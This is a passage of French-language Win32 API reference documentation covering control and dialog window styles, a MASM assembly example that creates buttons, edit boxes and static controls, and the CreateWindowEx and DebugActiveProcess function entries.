Texte de places au sommet du rectangle de bouton.

BS_VCENTER

Le texte est placé au milieu (verticalement) du rectangle du bouton.

Les styles de boîte suivants combo (dans la classe COMBOBOX) peuvent être spécifiés dans le paramètre dwStyle :

CBS_AUTOHSCROLL

Fait automatiquement défiler le texte du control d'édition vers la droite lorsque l'utilisateur tape un caractère à la fin de la ligne. Si ce style n'est pas mis, on ne peut pas taper plus de texte que ne le permettent les dimensions du Control d'édition.

CBS_DISABLENOSCROLL

Affiche une barre de rouleau verticale (mise hors de service) dans la boîte de liste quand la boîte ne contient pas assez d'Items pour faire défiler. Sans ce style, la barre de rouleau reste normalement cachée quand la boîte de liste ne contient pas assez d'Items.

CBS_DROPDOWN

Semblable à CBS_SIMPLE, sauf que la boîte de liste n'est pas affichée à moins que l'utilisateur ne choisisse une icône à côté de control d'édition.

CBS_DROPDOWNLIST

Semblable à CBS_DROPDOWN, sauf que le control d'édition est remplacé par un item de type 'Text Static' qui montre le choix actuel dans la boîte de liste.

CBS_HASSTRINGS

Indique que la combo box contient des Items qui sont du texte. La combo box garde en mémoire les adresses où sont placer les différents textes qui la constituent, Ainsi on peut utiliser le message CB_GETLBTEXT dans un programme pour retrouver le texte d'un item particulier.

CBS_LOWERCASE

Convertit en minuscule n'importe quels caractères majuscules étant entrés dans votre control d'édition (d'une boîte combo).

CBS_NOINTEGRALHEIGHT

Spécifie que la taille de la combo box est exactement la taille indiquée par l'application lorsqu'on a créée la boîte combo. Normalement, Windows redimensionne les combo box pour ne pas afficher des Items tronquées (un morceau seulement).

CBS_OEMCONVERT

Convertit le texte entré dans le control d'édition de la combo box. Le texte est converti à partir du jeu de caractères de Windows vers le jeu de caractères OEM puis ensuite on retourne au jeu de Windows. Comme ça, on assure la conversion des caractères appropriés lorsqu'une application appelle la fonction CharToOem pour convertir une chaîne de caractères Windows dans la combo box en caractères OEM. Ce style est très utile pour les boîtes combo qui contiennent des noms de fichier, il ne s'applique qu'aux boîtes combo créées avec le styles CBS_SIMPLE ou CBS_DROPDOWN.

CBS_OWNERDRAWFIXED

Indique que le parent de la boîte de liste est responsable de redessiner son contenu, et les Items de cette boîte de liste sont toutes de même hauteur. La fenêtre parente reçoit le message WM_MEASUREITEM quand la combo box est créée et le message WM_DRAWITEM quand un aspect visuel (un Item) de la boîte combo a changé.

CBS_OWNERDRAWVARIABLE

Indique que le parent de la boîte de liste est responsable de redessiner son contenu, et les Items de cette boîte de liste sont de hauteurs variables. La fenêtre parente reçoit le message WM_MEASUREITEM pour chaque item de la combo box quand vous la créez; la fenêtre parente reçoit le message WM_DRAWITEM quand un aspect visuel de la combo box a changé.

CBS_SIMPLE

Affiche la boîte de liste à tout moment. Le choix actuel de la boîte de liste est inscrit dans le control d'édition.

CBS_SORT

Les chaînes de caractères entrées dans la boîte de liste sont Automatiquement triées.

CBS_UPPERCASE

Convertit en majuscule n'importe quels caractères minuscules entrés dans le control d'édition d'une combo box.

Les styles de control d'édition suivants (dans la Class EDIT) peuvent être spécifiés dans le paramètre dwStyle :

ES_AUTOHSCROLL

Le texte défile automatiquement vers la droite de 10 caractères en 10 lorsque l'utilisateur tape un caractère à la fin de la ligne. Quand l'utilisateur presse la touche ENTER, ce control refait défiler tout le texte à partir de la position zéro.

ES_AUTOVSCROLL

Le texte va directement en haut de page suivante lorsque l'utilisateur appuie sur la touche ENTER si il est sur la dernière ligne d'une page.

ES_CENTER

Centre le texte d'un control d'édition multiligne.

ES_LEFT

Aligne le texte à gauche.

ES_LOWERCASE

Convertit tous les caractères en minuscule quand ils sont tapés dans le control d'édition.

ES_MULTILINE

Désigne un control d'édition multiligne. Par défaut c'est la ligne simple qui est de rigueur pour les controls d'édition.

Quand on utilise un control d'édition multiligne dans une boîte de dialogue, la réponse par défaut d'un pression de la touche ENTER est d'activer le bouton de défaut (celui qui en encadré en pointillé). Pour employer la touche ENTER en tant que retour chariot, utilisez le style ES_WANTRETURN.

Lorsque le control d'édition multiligne n'est pas dans une boîte de dialogue et que le style ES_AUTOVSCROLL est spécifié, le texte du control d'édition est placé sur une seule ligne tant qu'elle peut contenir des caractères, en plus le texte défile verticalement quand l'utilisateur presse la touche ENTER. Si vous ne spécifiez pas ES_AUTOVSCROLL, le texte sera toujours contenu sur une seule ligne mais on entendra des BIP sonore si on a utilisé toutes les lignes disponibles et qu'en plus l'utilisateur presse la touche ENTER pour en changer.

Si vous spécifiez le style ES_AUTOHSCROLL, le control d'édition multiligne fait automatiquement défiler horizontalement le texte quand le caret (le curseur clignotant) dépasse le bord (droit) du control. Pour commencer une nouvelle ligne, l'utilisateur doit appuyer sur la touche ENTER. Si vous ne spécifiez pas ES_AUTOHSCROLL, le control d'édition s'agrandit automatiquement vers le bas pour contenir les nouveaux mots au commencement de la ligne suivante si nécessaire. Une nouvelle ligne est aussi débutée si l'utilisateur presse la touche ENTER. La taille de la fenêtre détermine la position de la zone de saisie. Si des changements de taille de fenêtre interviennent, cette zone change de position et le texte est réaffiché.

Le control d'édition multiligne peut avoir des barres de rouleau. Un control d'édition avec des barres de rouleau traite ses propres messages de barre de rouleau. Notez que des control d'édition sans barres de rouleau comme ceux décris dans les paragraphes précédents traitent n'importe quels messages de rouleau envoyés par la fenêtre parente.

ES_NOHIDESEL

Ne s'occupe pas du comportement par défaut des controls d'éditions. Le comportement par défaut c'est de ne pas afficher de choix lorsque le control perd le centre d'entrée (quand il est actif) et inverse le choix quand le control reçoit le centre d'entrée. Si vous spécifiez ES_NOHIDESEL, le texte choisi est inversé, même si le control n'est pas activé.

ES_NUMBER

Permet de taper seulement les caractères du clavier numérique dans le control d'édition.

ES_OEMCONVERT

Convertit le texte entré dans le control d'édition. Le texte est converti du jeu de caractère de Windows au jeu de caractère OEM et ensuite retour au jeu Windows. Ceci assure la conversion des caractère appropriée quand la application appelle la fonction CharToOem pour convertir une chaîne de caractères Windows dans le control d'édition en caractères OEM. Ce style est très utile pour les controls d'édition qui contiennent des noms de fichier.

ES_PASSWORD

Affiche un astérisque (*) à la place de chaque caractère tapé dans le control d'édition. Vous pouvez employer le message EM_SETPASSWORDCHAR pour changer ce caractère(*) en un autre.

ES_READONLY

Empêche l'utilisateur de taper ou d'éditer du texte dans le control d'édition.

ES_RIGHT

Aligne le texte à droite dans un control d'édition multiligne.

ES_UPPERCASE

Convertit tous les caractères en majuscule quand on les tape dans le control d'édition.

ES_WANTRETURN

Spécifie qu'un retour chariot doit être inséré quand l'utilisateur presse la touche ENTER, on l'utilise pour les control d'édition multiligne des boîtes de dialogue. Si vous ne spécifiez pas ce style, en appuyant sur ENTER celui-ci aura le même effet qu'une pression sur le bouton de défaut de la boîte de dialogue. EX: si vous avez une boîte de dialogue avec un bouton Oui et un Non et que le bouton Non est préselectionné (encadré en pointillés) en tapant sur ENTER au lieu de sauterez à la ligne suivante vous validerez le Non . Ce style n'a aucun effet sur un control d'édition à ligne simple.

Les styles de control suivants (dans la class de LIST) peuvent être spécifiés dans le paramètre dwStyle :

LBS_DISABLENOSCROLL

Affiche une barre de rouleau verticale pour la boîte de liste mise hors service quand la boîte ne contient pas assez d'Items à faire défiler. Si vous ne spécifiez pas ce style, la barre de rouleau est cachée en attendant que la boîte de liste contienne suffisamment d'Items.

LBS_EXTENDEDSEL

Permet à un groupe d'Items d'être sélectionné en employant la TOUCHE GAUCHE de la souris ou une combinaison de touches spéciales.

LBS_HASSTRINGS

Définit une boîte de liste contenant des Items de type texte. La boîte de liste garde en mémoire les adresses des chaînes de caractères qui seront utilisées par l'application grâce au message LB_GETTEXT pour retrouver un 'item texte' particulier. Par défaut, toutes les boîtes de liste sauf les boîtes de liste type 'items dessins' ont ce style. Vous pouvez créer une boîte de liste dessin avec ou sans ce style.

LBS_MULTICOLUMN

Définit une boîte de liste multicolonne qui est scrollée horizontalement. Le message LB_SETCOLUMNWIDTH définit la largeur des colonnes.

LBS_MULTIPLESEL

Surligne on non la chaîne de caractères à chaque fois que l'utilisateur clique ou double clique sur l'une d'elles dans la boîte de liste. L'utilisateur peut choisir n'importe quelle chaîne.

LBS_NODATA

Spécifie une boîte de liste "sans aucune donnée". Mettez ce style quand le nombre d'Items de la boîte de liste excédera mille (on déborde). Une boîte de liste "sans aucune donnée" doit aussi avoir le style LBS_OWNERDRAWFIXED, mais ne doit pas avoir ni le style LBS_SORT ni LBS_HASSTRINGS.

Une boîte de liste "sans aucunes donnée" ressemble à une boîte de liste type 'items dessins' sauf qu'elle ne contient aucune chaîne de caractères ou de données type 'item bitmap'. Les commandes pour ajouter, insérer, ou supprimer un item sont valable pour n'importe quelles type de données:item ; les demandes pour trouver une chaîne de caractère dans la boîte de liste échouent toujours. Windows envoie le message WM_DRAWITEM à la fenêtre parente lorsque l'item doit être dessiné. Grâce au message WM_DRAWITEM, on passe le membre itemID à la structure DRAWITEMSTRUCT pour indiquer le numéro de ligne d'item devant être dessiné. Une boîte de liste "sans aucune donnée" n'envoie pas de message WM_DELETEITEM.

LBS_NOINTEGRALHEIGHT

Indique que la taille de la boîte de liste est exactement la taille indiquée par l'application lors de la création de la boîte de liste. Normalement, Windows redimentionne la boîte de liste pour que celle-ci n'affiche pas des Items partiels.

LBS_NOREDRAW

Indique que l'apparence de la boîte de liste n'est pas mise à jour quand des changements sont faits. Vous pouvez changer de style à tout moment en envoyant un message WM_SETREDRAW.

LBS_NOSEL

Indique que la boîte de liste contient des Items qui peuvent être vu, mais pas choisi.

LBS_NOTIFY

Notifie (informe) la fenêtre parente avec un message d'entrée à chaque fois que l'utilisateur clique ou double clique sur une chaîne de caractères de la boîte de liste.

LBS_OWNERDRAWFIXED

Indique que le parent de la boîte de liste est responsable de redessiner son contenu, et les Items de cette boîte de liste sont toutes de même hauteur. La fenêtre parente reçoit le message WM_MEASUREITEM quand la boîte de liste est créée et le message WM_DRAWITEM quand un aspect visuel (un Item) de la boîte de liste a changé.

LBS_OWNERDRAWVARIABLE

Indique que le parent de la boîte de liste est responsable de redessiner son contenu, et les Items de cette boîte de liste sont de hauteurs variables. La fenêtre de parente reçoit le message WM_MEASUREITEM pour chaque item de la combo box quand celle-ci est créée, et le message WM_DRAWITEM quand un aspect visuel de la combo box change.

LBS_SORT

La boîte de liste est triée par ordre alphabétique.

LBS_STANDARD

La boîte de liste est triée par ordre alphabétique. La fenêtre parente reçoit un message d'entrée à chaque fois que l'utilisateur clique ou double clique sur une des chaînes de caractères. La boîte de liste possède des bords sur chaque côté.

LBS_USETABSTOPS

Permet à une boîte de liste de reconnaître et de redéfinir le caractère TAB pour faire un certain nb d'espaces quand on appuie dessus. Le pas dé la touche TAB par défaut est de 32 unités pour une DialogBox. Une unité de DialogBox est une distance horizontale ou verticale. Une unité horizontale de DialogBox est égale à un-quatrième de l'unité de largeur d'une DialogBox de base. Windows calcule ces unités de base sur la hauteur et la largeur de la fonte de système actuelle. La fonction GetDialogBaseUnits renvoie ces unités de base (de boîte de dialogue) actuelles en pixels.

LBS_WANTKEYBOARDINPUT

Indique que le propriétaire de la boîte de liste reçoit des messages WM_VKEYTOITEM chaque fois que l'utilisateur appuie sur une touche alors que la boîte de liste a le centre d'entrée (boite de liste est active). Ceci permet à une application d'exécuter des traitements spéciaaux sur l'entrée clavier.

Les styles de barres de rouleau suivants (dans la classe SCROLLBAR) peuvent être spécifiés dans le paramètre dwStyle :

SBS_BOTTOMALIGN

Aligne le bas de la barre de rouleau avec le bas du rectangle défini pour votre fenêtre grâce aux paramètres x, y, nWidth et nHeight. La barre de rouleau a la hauteur par défaut d'une barre de rouleau système. Employez ce style avec le style SBS_HORZ.

SBS_HORZ

Désigne une barre de rouleau horizontale. Si ni le les styles SBS_BOTTOMALIGN ni SBS_TOPALIGN ne sont spécifié, la barre de rouleau aura la hauteur, la largeur et la position définie par x, y, nWidth et nHeight.

SBS_LEFTALIGN

Positionne la barre de rouleau à gauche du rectangle (de votre fenêtre) défini par les paramètres x, y, nWidth et nHeight. La barre de rouleau prend la largeur par défaut d'une barre de rouleau système. Employez ce style avec le style SBS_VERT.

SBS_RIGHTALIGN

Place la barre de rouleau à droite du rectangle (de votre fenêtre) défini par les paramètres x, y, nWidth et nHeight. La barre de rouleau prend la largeur par défaut d'une barre de rouleau système. Employez ce style avec le style SBS_VERT.

SBS_SIZEBOX

Désigne la taille d'une boîte. Si vous ne spécifiez ni le style SBS_SIZEBOXBOTTOMRIGHTALIGN, ni SBS_SIZEBOXTOPLEFTALIGN, la taille de la boîte sera d'une hauteur, d'une largeur et à la position indiquée par les paramètres x, y, nWidth et nHeight.

SBS_SIZEBOXBOTTOMRIGHTALIGN

Aligne le coin du bas droite de la boîte de taille avec le coin bas droite du rectangle indiqué par les paramètres x, y, nWidth et nHeight. La boîte de taille a la taille par défaut des boîtes de taille système. Employez ce style avec le style SBS_SIZEBOX.

SBS_SIZEBOXTOPLEFTALIGN

Aligne le coin supérieur-gauche de la boîte de taille avec le coin supérieur-gauche du rectangle indiqué par les paramètres x, y, nWidth et nHeight. La boîte de taille a la taille par défaut des boîtes de taille système. Employez ce style avec le style SBS_SIZEBOX.

SBS_SIZEGRIP

Idem que SBS_SIZEBOX, mais avec un bord relevé (une illusion de relief).

SBS_TOPALIGN

Aligne le bord supérieur de la barre de rouleau avec le bord supérieur du rectangle défini par les paramètres x, y, nWidth et nHeight. La barre de rouleau a la hauteur par défaut des barres de rouleau système. Employez ce style avec le style SBS_HORZ.

SBS_VERT

Désigne une barre de rouleau verticale. Si vous ne spécifiez ni le style SBS_RIGHTALIGN, ni SBS_LEFTALIGN, la barre de rouleau aura la hauteur, la largeur et la position indiquée par les paramètres x, y, nWidth et nHeight.

Les styles de 'control Static' suivants (dans la classe STATIC) peuvent être spécifiés dans le paramètre dwStyle. Un 'control Static' peut uniquement avoir un de ces styles :

Dans un programme, un Control static est en général un simple texte de 1 à 10 mots inscrits sur fond gris qu'on ne peut pas changer avec la souris ou le clavier. Il est 'Static' car inerte, intouchable, immodifiable contrairement à un 'Control d'édition'. Ils sont souvent utilisés par pair l'un avec l'autre.

SS_BITMAP

Spécifie qu'un bitmap doit être affiché en tant que 'Control Static'. Le code d'erreur est un nom de bitmap (et non pas un nom de fichier) défini ailleurs dans le fichier de ressource. Ce style ignore les paramètres nWidth et nHeight; il contrôle automatiquement les tailles lui-même pour loger le bitmap.

SS_BLACKFRAME

Indique une boîte avec un encadrement 'dessiné' dans la même couleur que l'encadrement de votre fenêtre. Cette couleur est noire par défaut, c'est une combinaison des couleurs de Windows.

SS_BLACKRECT

Indique un rectangle rempli avec la couleur l'encadrement de votre fenêtre actuelle. Cette couleur est noire par défaut, c'est une combinaison des couleurs de Windows.

SS_CENTER

Indique un simple rectangle avec un texte de code d'erreur centré dans ce rectangle. Le texte est formaté avant qu'il ne soit affiché. Tous les mots sont automatiquement enveloppés dans ce rectangle. Ses dimensions dépendent de la longueur du texte.

SS_CENTERIMAGE

Indique que le point central du control static (si les styles SS_bitmap ou SS_ICON sont utilisés) doit rester fixé quand ce control est redimensionné. Les quatre côtés sont réajustés pour loger un nouveau bitmap ou une nouvelle icône.

Si votre control static est utilisé avec le style SS_bitmap et que le bitmap est plus petit que le secteur client de ce control, le secteur client sera rempli de la même couleur que celle du pixel du coin supérieur-gauche de ce bitmap. Si votre control static est utilisé avec le style SS_ICON, l'icône ne semble pas repeindre le secteur client.

SS_GRAYFRAME

Indique une boîte avec un cadre de la même couleur que le fond d'écran (le bureau). Cette couleur est grise par défaut.

SS_GRAYRECT

Indique un rectangle rempli avec la couleur de fond d'écran actuel. Cette couleur est grise par défaut.

SS_ICON

Indique une icône affichée dans une boîte de dialogue. Le texte donné est le nom d'une icône (et non pas un nom de fichier) défini ailleurs dans le fichier de ressource. Ce style ignore les paramètres nWidth et nHeight. L'icône est automatiquement redimensionnée.

SS_LEFT

Indique un simple rectangle dans lequel un texte est aligné à gauche. Le texte est formaté avant qu'il ne soit affiché Tous les mots sont automatiquement enveloppés dans ce rectangle. Ses dimensions dépendent de la longueur du texte.

SS_LEFTNOWORDWRAP

Indique un simple rectangle dans lequel un texte est aligné à gauche. Les mots ne sont pas enveloppés dans le rectangle. Le texte qui s'étend au-delà des dimensions du rectangle est coupé.

SS_METAPICT

 Indique qu'une image metafile doit être affichée en tant que control static. Le texte donné est le nom d'une image metafile (et non pas un nom de fichier) défini ailleurs dans le fichier de ressource. Un control static de type metafile a une taille fixée; l'image metafile est mesurée pour l'adapter au secteur client du control static.

SS_NOPREFIX

Empêche l'interprétation de tout caractère esperluette (&) dans un texte d'un control en tant que caractères raccourci pour servir de préfixe. (Dans un programme vous verrez les mots Fichier, Edition, Format…. avec les lettre F,E et t soulignés, en fait dans le code du programme on retrouve l'esperluette & dans &Fichier, &Edition et Forma&t où les lettres soulignées servent de raccourci clavier). Les mots seront donc affichés en enlevant l'esperluette et le caractère suivant de la chaîne de caractère soulignée. Ce style de control static peut être inclus avec chacun des control static déjà vus.

Une application peut combiner SS_NOPREFIX avec d'autres styles en employant l'opérateur bitwise OR (|). Ça peut être utile quand les noms de fichier ou d'autres chaînes de caractères qui peuvent contenir une esperluette (&) doivent être affichés dans un des control static d'une boîte de dialogue.

SS_NOTIFY

Envoie les messages d'avis STN_CLICKED et STN_DBLCLK à la fenêtre parente quand l'utilisateur clique ou double clique sur un control.

SS_RIGHT

Indique un simple rectangle dans lequel un texte est aligné à droite. Le texte est formaté avant qu'il ne soit affiché Tous les mots sont automatiquement enveloppés dans ce rectangle. Ses dimensions dépendent de la longueur du texte.

SS_RIGHTIMAGE

Indique que le coin droit-bas du control static (si les styles SS_bitmap ou SS_ICON sont utilisés) doit rester fixes quand ce control est redimensionné. Uniquement le côté gauche et la partie supérieur de la fenêtre sont réajustés pour loger un nouveau bitmap ou une nouvelle icône.

SS_SIMPLE

Indique un simple rectangle dans lequel une unique ligne de texte est aligné à gauche. La ligne de texte ne peut en aucun cas être raccourcie ou modifiée d'aucune manière. La fenêtre parente du control ou de la boîte de dialogue ne doit pas traiter le message WM_CTLCOLORSTATIC.

SS_WHITEFRAME

Indique(spécifie) une boîte avec un encadrement dessiné(tiré) avec la même couleur que les fonds(formations) de fenêtre. Cette couleur est blanche dans le défaut la combinaison des couleurs de Windows.

SS_WHITERECT

Indique un rectangle rempli avec la couleur de fond de la fenêtre actuelle. Cette couleur est blanche par défaut.

Les styles de boîte de dialogue suivants peuvent être spécifiés dans le paramètre dwStyle :

DS_3DLOOK

Donne une fonte non uniforme aux boîtes de dialogues et aux dessins, les bords des objets constituant la boîte de dialogue sont tridimensionnelles.

Le style DS_3DLOOK est exigé seulement par des applications compilées sous Win32 comme les versions de Windows 95 ou Windows NT 4.0. Le système applique automatiquement une vue tridimensionnelle aux boîtes de dialogue créées par des applications compilées pour les versions actuelles de Windows.

DS_ABSALIGN

Indique que les coordonnées de la boîte de dialogue sont des coordonnées d'écran; autrement, Windows prend par défaut des coordonnées client.

DS_CENTER

Centre la boîte de dialogue dans le secteur de travail; c'est-à-dire le secteur non obscurci par le plateau.

DS_CENTERMOUSE

Centre le curseur de la souris au milieu de la boîte de dialogue.

DS_CONTEXTHELP

Inclut un point d'interrogation dans la barre de titre de la boîte de dialogue. Quand l'utilisateur clique sur le point d'interrogation, le curseur se change en un point d'interrogation. Si l'utilisateur clique alors sur un control quelconque dans la boîte de dialogue, ce control reçoit un message WM_HELP. Ce control doit passer le message à la procédure de dialogue, qui doit appeler la fonction WinHelp en employant la commande HELP_WM_HELP. La demande d'Aide affiche une fenêtre popup qui contient une aide spécifique pour ce control.

Notez que DS_CONTEXTHELP est juste un placeholder. Quand la boîte de dialogue est créée, le système fait un contrôle de la présence de DS_CONTEXTHELP et, s'il est là, il ajoute WS_EX_CONTEXTHELP au style étendu de la boîte de dialogue. WS_EX_CONTEXTHELP ne peut pas être employé avec le style WS_MAXIMIZEBOX ou WS_MINIMIZEBOX.

DS_control

Crée une boîte de dialogue qui travaille comme si c'était un Child Window d'une autre boîte de dialogue, un peu comme une page dans une feuille de propriété (a property sheet). Ce style permet à l'utilisateur de passer d'un control a un autre dans une boîte de dialogue enfant, d'utiliser des touches raccourci, et cetera.

DS_FIXEDSYS

Employe SYSTEM_FIXED_FONT au lieu de SYSTEM_FONT.

DS_LOCALEDIT

S'applique aux applications 16 bits seulement. Ce style dirige des Controls d'édition dans la boîte de dialogue pour allouer la mémoire du segment des données de l'application. Sinon, les Controls d'édition allouent le stockage d'un objet en mémoire globale.

DS_MODALFRAME

Crée une boîte de dialogue avec un encadrement qui peut être combiné avec une barre de titre et un menu en spécifiant soit le style WS_CAPTION soit WS_SYSMENU.

DS_NOFAILCREATE

Crée la boîte de dialogue même si les erreurs arrivent ¾ par exemple, si une Child Window ne peut pas être créée ou si le système ne peut pas créer un segment de données spécial pour control d'édition.

DS_NOIDLEMSG

Supprime les messages WM_ENTERIDLE que Windows enverrait normalement à la fenêtre parente de la boîte de dialogue lorsque la boîte de dialogue est affichée.

DS_RECURSE

Style 'boîte de dialogue' pour des control semblables à des boîtes de dialogue.

DS_SETFONT

Indique que le calibre de boîte de dialogue (la structure de DLGTEMPLATE) contient deux membres complémentaires définissant un nom de fonte et une taille de point ex (ARIAL,12). La fonte correspondante est employée pour écrire du texte dans le secteur client de la boîte de dialogue et dans les autres controls de cette boîte de dialogue. Windows passe l'handle de la fonte à la boîte de dialogue et à chaque control en envoyant le message WM_SETFONT.

DS_SETFOREGROUND

Ne s'applique pas aux versions 16 bits de Microsoft Windows. Ce style place la boîte de dialogue au premier plan. Intérieurement, Windows appelle la fonction SetForegroundWindow pour la boîte de dialogue visée.

DS_SYSMODAL

Crée une boîte de dialogue système-global. Ce style fait en sorte que la boîte de dialogue prenne le style WS_EX_TOPMOST, mais n'a autrement aucun effet sur la boîte de dialogue ou le comportement d'autres fenêtres dans le système quand la boîte de dialogue est affichée.

Windows 95 : Système pouvant soutenir un maximum de 16,364 handles de fenêtre.

Voir Aussi

CharToOem, CLIENTCREATESTRUCT, CreateDialog, CREATESTRUCT, CreateWindowEx, DialogBox, DLGTEMPLATE, DRAWITEMSTRUCT, GetDialogBaseUnits, GlobalAddAtom, LB_GETTEXT, LB_SETCOLUMNWIDTH, MessageBox, RegisterClass, SetForegroundWindow, WM_COMMAND, WM_CREATE, WM_DELETEITEM, WM_DRAWITEM, WM_ENTERIDLE, WM_GETMINMAXINFO, WM_MEASUREITEM, WM_NCCREATE, WM_PAINT, WM_SETFONT

Un exemple  concernant les boutons, un texte Static, Un texte dans une zone d'Edition:

.data
ClassBouton	db "BUTTON",0
ClassEdit	db "EDIT",0
ClassStatic	db "STATIC",0
TextBouton1	db "bouton1",0
TextBouton2	db "bouton2",0
TextEdit1	db "edit1",0
TextStatic1	db "static1",0

.const
ID_EDIT1	equ 1000
ID_BOUTON1	equ 1001
ID_BOUTON2	equ 1002
ID_STATIC1	equ 1003

.Code
;--------------------------BOUTON--EDIT--STATIC-------------------------------------------------
Bouton proc lpText:DWORD,hParent:DWORD,a:DWORD,b:DWORD,wd:DWORD,ht:DWORD,ID:DWORD
; invoke Bouton,ADDR szText,hWnd,20,20,100,25,500
    invoke CreateWindowEx,0,\
            ADDR ClassBouton,lpText,\
            WS_CHILD or WS_VISIBLE,\
            a,b,wd,ht,hParent,ID,\
            hInstance,NULL
ret
Bouton endp

Edit proc lpText:DWORD,hParent:DWORD,a:DWORD,b:DWORD,wd:DWORD,ht:DWORD,ID:DWORD
; invoke Edit,ADDR szText,hWnd,20,20,100,25,500
    invoke CreateWindowEx,0,\
            ADDR ClassEdit,lpText,\
            ES_MULTILINE or ES_WANTRETURN or ES_AUTOHSCROLL or ES_NOHIDESEL,\
            a,b,wd,ht,hParent,ID,\
            hInstance,NULL
ret
Edit endp

Static proc lpText:DWORD,hParent:DWORD,a:DWORD,b:DWORD,wd:DWORD,ht:DWORD,ID:DWORD
; invoke Static,ADDR szText,hWnd,20,20,100,25,500
    invoke CreateWindowEx,0,\
            ADDR ClassStatic,lpText,\
            WS_CHILD or WS_VISIBLE,\
            a,b,wd,ht,hParent,ID,\
            hInstance,NULL
ret
Static endp
;-----------------------------fin procedure--BOUTON--EDIT--STATIC-------------------------------

start:
...
..
..
.
.
    .IF uMsg==WM_CREATE
    invoke Bouton,ADDR TextBouton1,hWnd,690,20,100,25,ID_BOUTON1
    invoke Bouton,ADDR TextBouton2,hWnd,690,60,100,25,ID_BOUTON2
    invoke Static,ADDR TextStatic1,hWnd,690,100,440,400,ID_STATIC1
    invoke Edit,ADDR TextEdit1,hWnd,20,100,500,400,ID_EDIT1
.
.
..
..
...


CreateWindowEx (Win32)

HWND CreateWindowEx(dwExStyle, lpszClass, lpszWindowName, dwStyle, x, y, nWidth, nHeight,
             hwndOwner, hmenu, hinst, lpvCreateParams)

DWORD dwExStyle;	/* style étendu de fenêtre */
LPCTSTR lpszClass;	/* addresse de la class name */
LPCTSTR lpszWindowName;	/* adresse du titre de la fenêtre */
DWORD dwStyle;		/* style de fenêtre */
int x;			/* position horizontale de la fenêtre */
int y;			/* position verticale de la fenêtre */
int nWidth;		/* largeur de la fenêtre */
int nHeight;	   	/* hauteur de la fenêtre */
HWND hwndOwner;		/* handle de la fenêtre parente */
HMENU hmenu;		/* handle du menu ou n°ID de la fenêtre enfant */
HANDLE hinst;		/* handle de l'instance de l'application */
LPVOID lpvCreateParams;	/* adresse of window-creation data */
La fonction CreateWindowEx crée une fenêtre Overlapped, popup, ou une fenêtre enfant avec un style étendu; autrement, cette fonction est identique à la fonction CreateWindow. Pour plus d'informations à propos de la création d'une fenêtre et des descriptions des autres paramètres de CreateWindowEx, voyez la description de la fonction CreateWindow précédente.

Paramètre 	 Description

dwExStyle 	 Spécifie le 'style étendu' de la fenêtre. Ça peut être une des valeurs
         suivantes :

         Style 	 	  	 Signification

         WS_EX_ACCEPTFILES 	 Spécifie qu'une fenêtre créée avec ce style accepte
                      des fichiers de drag&drop (Glisser-Déposer).
         WS_EX_DLGMODALFRAME 	 Désigne une fenêtre avec une frontière double qui peut
                      (éventuellement) être créée avec une barre de titre en
                     spécifiant le flag de style WS_CAPTION dans le
                     paramètre dwStyle.
         WS_EX_NOPARENTNOTIFY 	 Indique qu'une fenêtre enfant créée en employant ce
                      style n'enverra pas le message WM_PARENTNOTIFY à sa
                     fenêtre parente lorsque cette fenêtre enfant est créée
                     ou détruite.
         WS_EX_TOPMOST 	 	 Indique qu'une fenêtre créée avec ce style doit être
                      placée par dessus toute les autres fenêtres
                     non-topmost (définition de ce terme regarder
                     SetWindowPos) et rester au-dessus d'elles quand cette
                     fenêtre est désactivée. L'application peut utiliser la
                     fonction SetWindowPos pour ajouter ou enlever cet
                     attribut.
         WS_EX_TRANSPARENT 	 Indique qu'une fenêtre créée avec ce style doit être
                      transparente. C'est-à-dire que n'importe quelles
                     fenêtres qui sont au-dessous de cette fenêtre ne sont
                     pas obscurcies par cette fenêtre.

lpszClass 	 Pointe sur une chaîne de caractères terminée par un nul ou bien c'est un Atom,
         lequel identifie une chaîne de caractères. Si ce paramètre est un Atom, ça doit
         être un Atom global créé par un appel précédent de la fonction GlobalAddAtom.
         Un Atom, est une valeur 16 bits, qui doit être placé dans le WORD de poids
         faible de lpszClass; le WORD de poids fort doit être mis à zéro. La chaîne de
         caractères lpszClass ou l'Atom représentent le nom de Class de la fenêtre
         (Class Name).
lpszWindowName 	 Pointe sur une chaîne de caractères terminée par un nul contenant le nom de la
         fenêtre.
dwStyle 	 Indique le style de la fenêtre à créer. Pour la liste des styles de fenêtres
         qui peuvent être spécifiés dans ce paramètre, voyez la description de la fonction
         CreateWindow précédente.
x	 	 Indique la position initiale du côté gauche de la fenêtre.
y	 	 Indique la position initiale supérieure de la fenêtre.
nWidth 	 	 Indique la largeur, en unités écran, de la fenêtre.
nHeight 	 Indique la hauteur, en unités écran, de la fenêtre.
hwndOwner 	 Identifie le la fenêtre parent ou la fenêtre de propriétaire de celle-ci.
hmenu 	 	 Identifie un menu ou une fenêtre enfant. La signification dépend du style de
         fenêtre.
hinst 	 	 Identifie l'Instance du module (de l'*.exe ou la dll) associé à cette fenêtre.
lpvCreateParams  Contient n'importe quel paramètre de création spécifique pour application.
         La fenêtre ainsi créée peut avoir accès à ces données lorsqu'on passe la
         structure CREATESTRUCT à la fenêtre grâce aux messages WM_NCCREATE et
         WM_CREATE.

Retours
La valeur en retour identifie la nouvelle fenêtre (son Handle) si la fonction est couronnée de succès. Autrement, c'est un NULL.

Commentaires

La fonction CreateWindowEx peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

La fonction CreateWindowEx envoie les messages suivants à la fenêtre qui est en train d'être créée :

WM_NCCREATE
WM_NCCALCSIZE
WM_CREATE

Voir Aussi

CreateWindow, SetWindowPos, CREATESTRUCT


DebugActiveProcess (new for Win32)

BOOL DebugActiveProcess(idProcess)

DWORD idProcess;	/* process qui doit être debuggé */

La fonction DebugActiveProcess permet à un debugger de s'attacher à un process déjà en cours et
de le débugger.

Paramètre 	 Description

idProcess 	 Represente le n°ID du process qui doit être débuggé. Le débugger obtient
         l'accès à ce process (pour le débugger) comme s'il avait lui même créé ce
         processus et qu'il avait en plus utilisé le Flag de création
         DEBUG_ONLY_THIS_PROCESS.

Retours

La valeur de retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur
s'est produite. Employez la fonction GetLastError pour obtenir l'information à propos de
l'erreur étendue.

Commentaires

Le débugger doit avoir un accès approprié au process cible - il doit être capable d'ouvrir le
process en ayant le Flag PROCESS_ALL_ACCESS (lequel permet toutes les manipulations sur les
registres de la cible). Pour Dos/Win32 c'est toujours vrai si le n°ID du process est un n°ID
